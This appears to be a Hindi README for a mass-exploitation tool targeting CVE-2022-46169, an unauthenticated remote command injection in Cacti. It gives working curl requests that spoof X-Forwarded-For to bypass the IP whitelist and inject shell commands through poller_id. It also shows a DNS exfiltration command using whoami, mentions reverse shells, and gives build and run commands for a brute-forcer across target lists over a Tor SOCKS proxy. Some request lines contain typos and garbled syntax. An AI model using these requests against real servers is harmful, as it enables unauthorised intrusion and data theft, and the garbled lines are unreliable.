
CVE-2022-46169 - Cacti ब्लाइंड रिमोट कोड निष्पादन (प्री-ऑथ)
Cacti अंधा दूरस्थ कोड निष्पादन (पूर्व-प्रमाणीकरण)
यह केवल शैक्षिक उद्देश्यों के लिए है। मैं आपके कार्यों के लिए जिम्मेदार नहीं हूँ। अपने विवेक से उपयोग करें।
यह स्क्रिप्ट इस कमजोरी का फायदा उठाने के लिए आवश्यक चरों को ब्रूटफोर्स करती है। इस शोषण के लिए निम्नलिखित 3 चरों की आवश्यकता होती है:
host_id पैरामीटरlocal_data_ids पैरामीटरफ़ाइल remote_agent.php एक IP श्वेतसूची द्वारा सुरक्षित है। आप X-Forwarded-IP हेडर में अपना IP पता स्पूफ करके इसे बायपास कर सकते हैं। अधिकांश इंस्टेंसेस में 127.0.0.1 या सर्वर का अपना IP पता श्वेतसूचीबद्ध होगा।
इसके बाद आपको host_id और local_data_ids अनुरोध पैरामीटरों को ब्रूटफोर्स करने की आवश्यकता है। यह पूर्णांकों के जोड़ों को 1 के डिफ़ॉल्ट न्यूनतम मान और 10 के अधिकतम मान से गणना करके किया जाता है।
x,yउदाहरण अनुरोध
pair_x="1"
pair_y="2"
curl -k -H "X-Forwarded-For: 127.0.0.1" \
"https://target.com/cacti/remote_agent.php?action=polldata&poller_id=1&host_id=$pari_x&=local_data_ids[]=$pair_y"
[]
जब आपको ये 3 चर मिल जाते हैं, तो आप poller_id कुंजी में एक शेल कमांड इंजेक्ट कर सकते हैं और अपने कमांड से पहले ; लगाकर इसे एस्केप कर सकते हैं।
यह एक अंधा RCE है, इसलिए आपको अपने कमांड का आउटपुट कहीं interact.sh जैसे स्थान पर भेजना होगा या एक रिवर्स शेल खोलना होगा। poller_id मान को URL एन्कोड करना याद रखें!
निम्नलिखित कमांड ping $(whoami).test.com को निष्पादित करता है
curl -k -H "X-Forwarded-For: 127.0.0.01" \
"https://target.com/cacti/remote_agent.php?action=polldata&host_id=1&local_data_ids[]=3&poller_id=;ping%20%24%28whoami%29.test.com"
स्क्रिप्ट CSV प्रारूप में आउटपुट देती है। हेडर "target", "ip", "host_id", "data_id", "url" हैं।
यदि url मान गायब है, तो इसका मतलब है कि स्क्रिप्ट IP प्रतिबंध को बायपास करने में सक्षम थी लेकिन ID को सफलतापूर्वक ब्रूटफोर्स नहीं कर पाई। आप इस आउटपुट को ले सकते हैं और पुनः प्रयास करने के लिए एक उच्च अधिकतम मान सेट कर सकते हैं।
आउटपुट फ़ाइल को त्वरित रूप से पार्स करने के लिए आप निम्नलिखित कमांड का उपयोग कर सकते हैं
tail -n +2 results.csv | cut -d ',' -f1 | sort -u
tail -n +2 results.csv | cut -d ',' -f5 | sort -u
go build -v -o bruteforce bruteforce.go
./bruteforce -l targets.txt -t 50 -min 1 -max 10
-proxy socks5://127.0.0.1:9050results.csv है